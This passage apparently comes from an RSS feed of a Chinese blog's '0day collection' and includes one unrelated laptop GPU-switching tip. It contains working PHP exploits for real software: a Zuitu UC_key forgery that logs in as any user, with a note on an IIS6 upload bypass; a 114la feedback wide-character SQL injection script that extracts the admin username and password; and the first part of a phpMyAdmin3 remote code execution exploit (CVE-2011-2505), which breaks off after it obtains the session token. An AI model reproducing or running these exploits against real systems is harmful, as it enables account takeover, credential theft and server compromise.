第一个是上传漏洞&nbsp;&nbsp; 此漏洞在6月份出的新版本中已经得到修复 - 低调求发展! }7 O: B0 _* W$ F: Z) a<br />
最土自己写了upload_image上传函数&nbsp; 本身挺安全的Security4 o$ w1 l2 G! e: J2 X( d<br />
但是upload.php没有用这个函数<a href="http://www.t00ls.net8">www.t00ls.net8</a> s- g, y&amp; d# N&nbsp; h<br />
第25行<br />
$upext='txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid';<br />
复制代码<br />
第65行<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fileinfo=pathinfo($upfile['name']);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $extension=strtolower($fileinfo['extension']);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(preg_match('/'.str_replace(',','|',$upext).'/i',$extension))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $filesize=$upfile['size'];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if($filesize &gt; $maxattachsize)$err='文件大小超过'.$maxattachsize.'字节';<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $year = date('Y');<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $day = date('md');<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $n = time().rand(1000,9999).'.jpg';<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $attach_dir = IMG_ROOT . &quot;/team/{$year}/{$day}&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RecursiveMkdir( IMG_ROOT . &quot;/team/{$year}/{$day}&quot; );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fname= time().rand(1000,9999).'.'.$extension; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $target = $attach_dir.'/'.$fname;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ( is_resource($upfile['tmp_name']) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $data = fread($upfile['tmp_name'], $filesize);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; file_put_contents($target, $data);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fclose($upfile['tmp_name']);<br />
复制代码<br />
//正则匹配用户提交文件的后缀&nbsp;&nbsp; 只要包含白名单就OKwww.t00ls.net&nbsp; {) T- t. [8 ~<br />
最后保存的文件后缀是以用户提交为准而不是$n&nbsp;&nbsp; 利用iis6文件解析的特性 导致漏洞产生<br />
- 低调求发展. ~6 N2 K3 x3 j# y<br />
第二个是UC_key未初始化漏洞&nbsp;&nbsp; 此类漏洞在很多小程序里都有<a href="http://www.t00ls.net5">www.t00ls.net5</a> L. f9 |) Y/ d8 n( }<br />
由于UCkey未初始化导致访问者可以随意调用uc接口的各种函数<br />
其中包括自动登陆&nbsp;&nbsp; 修改密码<br />
这里给个任意用户登陆的POC<br />
&lt;?php<br />
print_r('<br />
---------------------------------------<br />
Zuitu UC_key Uninitialized Vul Exploit<br />
By xZL<br />
Team: <a href="http://www.0kee.com">www.0kee.com</a><br />
2010.10.01<br />
---------------------------------------<br />
');<br />
if ($argc &lt; 2) {<br />
print_r('<br />
Usage: php '.$argv[0].' username<br />
username: the admin username<br />
Example: php '.$argv[0].' admin<br />
');<br />
die();<br />
}</p>
<p>error_reporting(0);</p>
<p>$username = $argv[1];<br />
$key = '';</p>
<p>$code = 'time=11111111111&amp;username='.$username.'&amp;action=synlogin';<br />
$x = urlencode(authcode($code, &quot;ENCODE&quot;, $key));<br />
print_r('Plz copy this code~~ enjoy it~~ ^_^</p>
<p>/api/uc.php?code='.$x);</p>
<p>function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {</p>
<p>&nbsp;&nbsp;&nbsp; $ckey_length = 4;</p>
<p>&nbsp;&nbsp;&nbsp; $key = md5($key ? $key : UC_KEY);<br />
&nbsp;&nbsp;&nbsp; $keya = md5(substr($key, 0, 16));<br />
&nbsp;&nbsp;&nbsp; $keyb = md5(substr($key, 16, 16));<br />
&nbsp;&nbsp;&nbsp; $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';</p>
<p>&nbsp;&nbsp;&nbsp; $cryptkey = $keya.md5($keya.$keyc);<br />
&nbsp;&nbsp;&nbsp; $key_length = strlen($cryptkey);</p>
<p>&nbsp;&nbsp;&nbsp; $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;<br />
&nbsp;&nbsp;&nbsp; $string_length = strlen($string);</p>
<p>&nbsp;&nbsp;&nbsp; $result = '';<br />
&nbsp;&nbsp;&nbsp; $box = range(0, 255);</p>
<p>&nbsp;&nbsp;&nbsp; $rndkey = array();<br />
&nbsp;&nbsp;&nbsp; for($i = 0; $i &lt;= 255; $i++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $rndkey[$i] = ord($cryptkey[$i % $key_length]);<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; for($j = $i = 0; $i &lt; 256; $i++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $j = ($j + $box[$i] + $rndkey[$i]) % 256;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $tmp = $box[$i];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $box[$i] = $box[$j];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $box[$j] = $tmp;<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; for($a = $j = $i = 0; $i &lt; $string_length; $i++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $a = ($a + 1) % 256;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $j = ($j + $box[$a]) % 256;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $tmp = $box[$a];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $box[$a] = $box[$j];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $box[$j] = $tmp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if($operation == 'DECODE') {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() &gt; 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return substr($result, 26);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return '';<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; } else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return $keyc.str_replace('=', '', base64_encode($result));<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>}<br />
?&gt;</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=460</link>
			<category domain="http://www.st999.cn/blog/?cid=7">oday收藏</category>
			<pubDate>2011-07-25 16:51</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=459</guid>
			<title>114啦网址导航留言本注入</title>
			<author>admin</author>
			<description><![CDATA[<p>漏洞文件 feedback/feedback.php<br />
影响版本 &lt;=1.5<br />
$username = empty($_POST['username']) ? '' : strip_tags(iconv('UTF-8', 'GBK', $_POST['username']));<br />
&nbsp;&nbsp;&nbsp; $email = (isset($_POST['email'])) ? strip_tags(iconv('UTF-8', 'GBK', $_POST['email'])) : '';<br />
&nbsp;&nbsp;&nbsp; $content = (isset($_POST['content'])) ? trim(iconv('UTF-8', 'GBK', $_POST['content'])) : '';<br />
&nbsp;&nbsp;&nbsp; (empty($content)) &amp;&amp; $error_msg .= '，意见及建议 ';</p>
<p>&nbsp;&nbsp;&nbsp; if (!empty($error_msg))<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new Exception($error_msg, 11);<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; $content = htmlspecialchars($content, ENT_QUOTES);<br />
&nbsp;&nbsp;&nbsp; if (strlen($content) &gt; 600 || strlen($content) &lt; 40)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new Exception('请将您的描述控制在&nbsp; 20 - 300 字，更多内容请您分次提交。', 1);<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // 验证次数<br />
&nbsp;&nbsp;&nbsp; $old_cookie = (isset($_COOKIE['fdnum'])) ? (int)$_COOKIE['fdnum'] : 0;<br />
&nbsp;&nbsp;&nbsp; if ($old_cookie &gt;= SUBMIT_ONE_DAY)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new Exception('抱歉，24 小时内您只能提交&nbsp; ' . SUBMIT_ONE_DAY . ' 次反馈信息。谢谢合作！', 2);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; $old_cookie++;</p>
<p>&nbsp;&nbsp;&nbsp; if (false === app_db::insert('ylmf_feedback', array('username', 'email', 'content', 'add_time'),<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; array($username, $email, $content, time())))<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new Exception('抱歉，信息提交失败，请重试。', 1);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 记录提交次数<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($old_cookie &gt; SUBMIT_ONE_DAY || !isset($_COOKIE['fdstime']) || $_COOKIE['fdstime'] &lt; 1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setcookie('dfstime', time(), time() + 86400);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setcookie('fdnum', $old_cookie, time() + 86400);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setcookie('fdnum', $old_cookie, time() + 86400 - (time() - $_COOKIE['fdstime']));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new Exception('&lt;div class=&quot;success&quot;&gt;提交成功，感谢您的反馈！ &lt;a href=&quot;'. URL .'/&quot;&gt;返回首页&lt;/a&gt;&lt;/div&gt;', 3);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unset($username, $email, $content);<br />
&nbsp;&nbsp;&nbsp; }<br />
复制代码<br />
$username、$email、$content强制转换GBK编码但是均未过滤直接insert&nbsp;&nbsp; 构造UTF8宽字符形成宽字符注入 - 低调求发展( \&nbsp; s&amp; v1 u: u0 f0 r</p>
<p>EXP<br />
&lt;?php<br />
$sbcopyright='<br />
----------------------------------------<br />
114la feedback injection Vul Exploit<br />
By xZL<br />
Team: <a href="http://www.0kee.com">www.0kee.com</a><br />
2011.04.02</p>
<p>Usage: php '.$argv[0].' host /path<br />
Example: php '.$argv[0].' 127.0.0.1 /<br />
----------------------------------------<br />
';<br />
if ($argc &lt; 3) {<br />
print_r($sbcopyright);<br />
die();<br />
}</p>
<p>ob_start(); <br />
$url = $argv[1];<br />
$path= $argv[2];</p>
<p>$sock = fsockopen(&quot;$url&quot;, 80, $errno, $errstr, 30);<br />
if (!$sock) die(&quot;$errstr ($errno)\n&quot;);<br />
$data = &quot;username=0kee%E7%B8%97'&amp;email=,0,(select%201%20from%20(select%20count(*),concat((SELECT%20concat(name,0x5f,password)%20FROM%20ylmf_admin_user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a),2)#&amp;content=~~~~~this is a test from 0kee security team~~~~~&quot;;</p>
<p>fwrite($sock, &quot;POST $path/feedback/feedback.php HTTP/1.1\r\n&quot;);<br />
fwrite($sock, &quot;Accept: */*\r\n&quot;);<br />
fwrite($sock, &quot;Referer: <a href="http://$url/#M\r\n">http://$url/#M\r\n</a>&quot;);<br />
fwrite($sock, &quot;Accept-Language: zh-cn\r\n&quot;);<br />
fwrite($sock, &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;);<br />
fwrite($sock, &quot;Accept-Encoding: gzip, deflate\r\n&quot;);<br />
fwrite($sock, &quot;User-Agent: Mozilla\r\n&quot;);<br />
fwrite($sock, &quot;Host: $url\r\n&quot;);<br />
fwrite($sock, &quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;);<br />
fwrite($sock, &quot;Connection: Keep-Alive\r\n&quot;);<br />
fwrite($sock, &quot;Cache-Control: no-cache\r\n&quot;);<br />
fwrite($sock, &quot;Cookie:ASPSESSIONIDASDRRBRA=MFILAMMAENMDGAPJLLKPEAON\r\n\r\n&quot;);<br />
fwrite($sock, $data);</p>
<p>$headers = &quot;&quot;;<br />
while ($str = trim(fgets($sock, 4096)))<br />
&nbsp;&nbsp;&nbsp;&nbsp; $headers .= &quot;$str\n&quot;;<br />
echo &quot;\n&quot;;<br />
$body = &quot;&quot;;<br />
while (!feof($sock))<br />
&nbsp;&nbsp;&nbsp;&nbsp; $body .= fgets($sock, 4096);</p>
<p>fclose($sock);</p>
<p>if (strpos($body, 'Duplicate entry') !== false) {<br />
preg_match('/Duplicate entry \'(.*)1\'/', $body, $arr);<br />
$result=explode(&quot;_&quot;,$arr[1]);<br />
print_r(&quot;Exploit Success! \nusername:&quot;.$result[0].&quot;\npassword:&quot;.$result[1].&quot;\nGood Luck!&quot;);<br />
}else{<br />
print_r(&quot;Exploit Failed! \n&quot;);<br />
}</p>
<p>ob_end_flush();<br />
?&gt;</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=459</link>
			<category domain="http://www.st999.cn/blog/?cid=7">oday收藏</category>
			<pubDate>2011-07-25 16:50</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=458</guid>
			<title>K40AB、K50AB以及K70AB全系列AMD产品都支持ATI PowerXpress显卡动态切换技术</title>
			<author>admin</author>
			<description><![CDATA[<p>K40AB、K50AB以及K70AB全系列AMD产品都支持ATI PowerXpress显卡动态切换技术：<br />
1. 外接电源时，启用高性能GPU模式，当前激活显卡为HD 4570独立显卡；<br />
2. 使用电池时，切换至省电GPU模式，当前激活显卡为HD 3200集成显卡；<br />
ATI PowerXpress只有在Vista操作系统中才能实现，在系统默认设置下只需拔/插电源即可实现显卡切换，切换时无需重启系统；<br />
3. 如果用户必须要安装XP操作系统，则需要在安装系统之前，进入BIOS设置中的Advanced Settings，找到VGA Mode SELECT，把选项改为dGpu Mode， <br />
保存设置重启后，被系统识别的显卡就只有HD 4570独立显卡，XP下可顺利安装驱动；<br />
－Power Xpress mode, 即支持HD 3200与HD 4570自动切换模式<br />
－dGpu mode，即独立显卡模式，系统默认只识别HD 4570独显</p>
<p>&nbsp;</p>
<p>今天装一asus机子&nbsp; 遇到了这个问题 用这个方法解决了</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=458</link>
			<category domain="http://www.st999.cn/blog/?cid=11">硬件装机</category>
			<pubDate>2011-07-25 14:34</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=457</guid>
			<title>phpMyAdmin3 remote code execute php版本 exploit</title>
			<author>admin</author>
			<description><![CDATA[<div class="entry_content clearfix">
<p>来源：<a href="http://www.oldjun.com/blog/index.php/archives/81/">http://www.oldjun.com/blog/index.php/archives/81/</a></p>
<p>最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。</p>
<p>昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。</p>
<p>首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：<br />
一是session.auto_start = 1；<br />
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。<br />
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。</p>
<p>在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。</p>
<p>于是写了这个php版本的exp，代码如下：</p>
<code><span style="color: #000000">#!/usr/bin/php<br />
<span style="color: #0000bb">&lt;?php<br />
print_r</span><span style="color: #007700">(</span><span style="color: #dd0000">'<br />
+---------------------------------------------------------------------------+<br />
pma3&nbsp;-&nbsp;phpMyAdmin3&nbsp;remote&nbsp;code&nbsp;execute&nbsp;exploit&nbsp;[Not&nbsp;jilei(chicken\'s&nbsp;ribs)]<br />
by&nbsp;oldjun(www.oldjun.com)<br />
welcome&nbsp;to&nbsp;www.t00ls.net<br />
mail:&nbsp;oldjun@gmail.com<br />
Assigned&nbsp;CVE&nbsp;id:&nbsp;CVE-2011-2505<br />
+---------------------------------------------------------------------------+<br />
'</span><span style="color: #007700">);<br />
<br />
</span><span style="color: #ff8000">/**<br />
&nbsp;*&nbsp;working&nbsp;when&nbsp;the&nbsp;directory:&quot;config&quot;&nbsp;exists&nbsp;and&nbsp;is&nbsp;writeable.<br />
**/<br />
&nbsp;<br />
</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000bb">$argc&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000bb">3</span><span style="color: #007700">)&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000bb">print_r</span><span style="color: #007700">(</span><span style="color: #dd0000">'<br />
+---------------------------------------------------------------------------+<br />
Usage:&nbsp;php&nbsp;'</span><span style="color: #007700">.</span><span style="color: #0000bb">$argv</span><span style="color: #007700">[</span><span style="color: #0000bb">0</span><span style="color: #007700">].</span><span style="color: #dd0000">'&nbsp;host&nbsp;path<br />
host:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;(ip/hostname)<br />
path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;path&nbsp;to&nbsp;pma3<br />
Example:<br />
php&nbsp;'</span><span style="color: #007700">.</span><span style="color: #0000bb">$argv</span><span style="color: #007700">[</span><span style="color: #0000bb">0</span><span style="color: #007700">].</span><span style="color: #dd0000">'&nbsp;localhost&nbsp;/pma/<br />
+---------------------------------------------------------------------------+<br />
'</span><span style="color: #007700">);<br />
&nbsp;&nbsp;&nbsp;&nbsp;exit;<br />
}<br />
<br />
</span><span style="color: #0000bb">$host&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000bb">$argv</span><span style="color: #007700">[</span><span style="color: #0000bb">1</span><span style="color: #007700">];<br />
</span><span style="color: #0000bb">$path&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000bb">$argv</span><span style="color: #007700">[</span><span style="color: #0000bb">2</span><span style="color: #007700">];<br />
<br />
</span><span style="color: #ff8000">/**<br />
&nbsp;*&nbsp;Try&nbsp;to&nbsp;determine&nbsp;if&nbsp;the&nbsp;directory:&quot;config&quot;&nbsp;exists<br />
**/<br />
</span><span style="color: #007700">echo&nbsp;</span><span style="color: #dd0000">&quot;[+]&nbsp;Try&nbsp;to&nbsp;determine&nbsp;if&nbsp;the&nbsp;directory:config&nbsp;exists....\n&quot;</span><span style="color: #007700">;<br />
</span><span style="color: #0000bb">$returnstr</span><span style="color: #007700">=</span><span style="color: #0000bb">php_request</span><span style="color: #007700">(</span><span style="color: #dd0000">'config/'</span><span style="color: #007700">);<br />
if(</span><span style="color: #0000bb">strpos</span><span style="color: #007700">(</span><span style="color: #0000bb">$returnstr</span><span style="color: #007700">,</span><span style="color: #dd0000">'404'</span><span style="color: #007700">)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #dd0000">&quot;[-]&nbsp;Exploit&nbsp;Failed!&nbsp;The&nbsp;directory:config&nbsp;do&nbsp;not&nbsp;exists!\n&quot;</span><span style="color: #007700">);<br />
}<br />
<br />
</span><span style="color: #ff8000">/**<br />
&nbsp;*&nbsp;Try&nbsp;to&nbsp;get&nbsp;token&nbsp;and&nbsp;sessionid<br />
**/<br />
</span><span style="color: #007700">echo&nbsp;</span><span style="color: #dd0000">&quot;[+]&nbsp;Try&nbsp;to&nbsp;get&nbsp;token&nbsp;and&nbsp;sessionid....\n&quot;</span><span style="color: #007700">;<br />
</span><span style="color: #0000bb">$result</span><span style="color: #007700">=</span><span style="color: #0000bb">php_request</span><span style="color: #007700">(</span><span style="color: #dd0000">'index.php'</span><span style="color: #007700">);<br />
</span><span style="color: #0000bb">preg_match</span><span style="color: #007700">(</span><span style="color: #dd0000">'/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&amp;/s'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000bb">$result</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000bb">$resp</span><span style="color: #007700">);<br />
</span><span style="color: #0000bb">$token</span><span style="color: #007700">=</span><span style="color: #0000bb">$resp</span><span style="color: #007700">[</span><span style="color: #0000bb">3</span><span style="color: #007700">];<br />
</span><span style="color: #0000bb">$sessionid</span><span style="color: #007700">=</span><span style="color: #0000bb">$resp</span><span style="color: #007700">[</span><span style="color: #0000bb">1</span><span style="color: #007700">];<br />
if(</span><span style="color: #0000bb">$token&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000bb">$sessionid</span><span style="color: #007700">){<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #dd0000">&quot;[+]&nbsp;token:$token\n&quot;</span><span style="color: #007700">;<br />
